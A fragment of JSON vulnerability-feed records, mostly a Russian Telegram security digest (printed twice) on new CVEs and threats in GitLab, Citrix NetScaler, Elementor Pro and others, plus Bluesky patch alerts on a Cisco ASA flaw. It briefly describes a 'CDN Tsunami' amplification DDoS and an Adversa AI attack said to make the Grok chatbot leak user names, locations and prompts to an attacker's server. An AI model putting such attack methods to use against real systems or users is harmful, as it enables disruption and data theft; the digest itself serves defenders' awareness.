"\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0438 \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. \u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0442\u0440\u0438 \u0433\u043e\u0434\u0430 Cloudflare \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Spectre \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445. \u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0430 \u0441\u0432\u043e\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0430 \u043d\u043e\u0432\u044b\u0435 \u043c\u0435\u0440\u044b, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043d\u043e\u0432\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0430\u0442\u0430\u043a Spectre.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Dynamic Process Isolation, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b. \u0422\u0435\u043f\u0435\u0440\u044c \u043e\u043d\u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0435\u043c\u043a\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432\u0432\u043e\u0434\u0430-\u0432\u044b\u0432\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 Spectre.\n\n2. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2026-19478 \u0432 GitLab \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0434\u043d\u044f \u043f\u043e\u0441\u043b\u0435 \u0435\u0451 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f. \u0410\u0442\u0430\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0441\u0435\u0442\u0438 PoC-\u043a\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u044b GitLab \u0438\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435. \n\n3. \u0422\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SSRF (CVE-2026-64849, CVSS 9.3) \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 MLflow AI, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 TrueConf, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0432\u0438\u0434\u0435\u043e\u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0439, \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0432 \u0420\u043e\u0441\u0441\u0438\u0438.\n\n4. \u0423\u0447\u0451\u043d\u044b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0443 DDoS, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u0441\u0430\u0439\u0442\u044b \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u044b, \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 CDN. \u0412 \u043d\u0435\u0439 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CDN-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442 HTTP/3-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u043d\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u0443\u044e\u0442 \u0442\u0440\u0430\u0444\u0438\u043a \u0432 \u0441\u0442\u0430\u0440\u044b\u0439 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b HTTP/1.\n\nCDN Tsunami attack \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043e\u0431\u044a\u0451\u043c HTTP/3-\u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 CDN, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u043e\u0433\u0440\u043e\u043c\u043d\u044b\u0439 \u043e\u0431\u044a\u0451\u043c HTTP/1-\u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u0441\u0430\u0439\u0442\u044b \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u041e\u0434\u043d\u0430\u043a\u043e \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0432\u0435 CDN \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u043c\u0435\u0440\u044b \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f.\n\n5. \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Elementor Pro \u0434\u043b\u044f WordPress \u0441 10 \u043c\u043b\u043d. \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0434\u043b\u044f RCE \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043d\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e.\n\nCVE-2026-32475 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Elementor Pro \u0434\u043e 4.2.2 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043c\u043e\u0434\u0443\u043b\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0446\u0438\u043a\u043b\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u043e-\u0440\u0430\u0437\u043d\u043e\u043c\u0443 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043f\u0443\u0441\u0442\u044b\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438.\n\n6. \u041e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043e\u0431\u043e\u0439\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 Citrix NetScaler. \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435, \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044e Citrix, CVE-2026-19490 (CVSS 9.3) \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 NetScaler, \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u043a \u0448\u043b\u044e\u0437 (SSL VPN, ICA Proxy, CVPN, RDP Proxy) \u0438\u043b\u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 AAA.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c\u00a0Rapid7, \u043d\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0430\u044f \u0440\u043e\u043b\u044c NetScaler \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0433\u043e \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0434\u043b\u044f \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n7. \u041d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0440\u044f\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0443\u0442\u0440\u0430\u0442\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 OpenAI Trusted Access for Cyber (TAC) \u0438\u0437-\u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0438. \u041e\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u043c \u043a\u0438\u0431\u0435\u0440\u043c\u043e\u0434\u0435\u043b\u044f\u043c \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0446\u0435\u043b\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f ChatGPT Cyber. OpenAI \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0432\u044b\u0437\u0432\u0430\u043b\u043e \u043e\u0448\u0438\u0431\u043a\u0443, \u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u043f\u043e\u0434\u0430\u0442\u044c \u0437\u0430\u044f\u0432\u043a\u0443 \u0438 \u043f\u0440\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n8. Cisco \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f 15 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0432 Crosswork \u0438 Secure Workload.\n\n\u0422\u0440\u0438 \u0438\u0437 \u043d\u0438\u0445, CVE-2026-20030, CVE-2026-20357 \u0438 CVE-2026-20358, \u0438\u043c\u0435\u044e\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 (CVSS 10/10), \u0430 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f, CVE-2026-20359 - CVSS 9,9/10. Cisco \u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u043c \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n9. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Microsoft Entra ID (CVSS 10.0) \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. CVE-2026-69836\u00a0(CVSS: 10.0) \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 RCE, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0439 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0438\u0433\u0430\u043d\u0442\u0430. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442.\n\n10. Adversa AI \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043c\u0435\u0442\u043e\u0434\u0438\u043a\u0443 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0435\u0435 \u0441\u043b\u043e\u0432\u0430\u043c, \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c\u00a0\u0447\u0430\u0442-\u0431\u043e\u0442 Grok \u043e\u0442 xAI\u00a0\u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043f\u0440\u0438\u0431\u043b\u0438\u0437\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438 \u0438 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438 \u0438\u0437 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u0430 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440.", "creation_timestamp": "2026-08-22T01:00:02.662965Z"}, {"uuid": "42b29ec7-94fc-4790-9f27-479ab1cd07da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3msxvvkfia22f", "content": "2/ \u26a0\ufe0f Cisco confirmed active exploitation of CVE-2026-20349 in ASA/FTD firewalls. No password needed. CISA deadline: August 14. That's tomorrow. Patch now.", "creation_timestamp": "2026-08-13T15:00:32.277231Z"}, {"uuid": "0823a0d0-d20d-49ed-8321-02bc909fa92a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3msxvvkfp2s2f", "content": "2/ \u26a0\ufe0f Cisco confirmed active exploitation of CVE-2026-20349 in ASA/FTD firewalls. No password needed. CISA deadline: August 14. That's tomorrow. Patch now.", "creation_timestamp": "2026-08-13T15:00:32.773285Z"}, {"uuid": "d8a0baa8-4662-4276-97e8-f96cce727d49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20359", "type": "seen", "source": "https://t.me/true_secator/8535", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0438 \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. \u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0442\u0440\u0438 \u0433\u043e\u0434\u0430 Cloudflare \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Spectre \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445. \u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0430 \u0441\u0432\u043e\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0430 \u043d\u043e\u0432\u044b\u0435 \u043c\u0435\u0440\u044b, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043d\u043e\u0432\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0430\u0442\u0430\u043a Spectre.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Dynamic Process Isolation, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b. \u0422\u0435\u043f\u0435\u0440\u044c \u043e\u043d\u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0435\u043c\u043a\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432\u0432\u043e\u0434\u0430-\u0432\u044b\u0432\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f 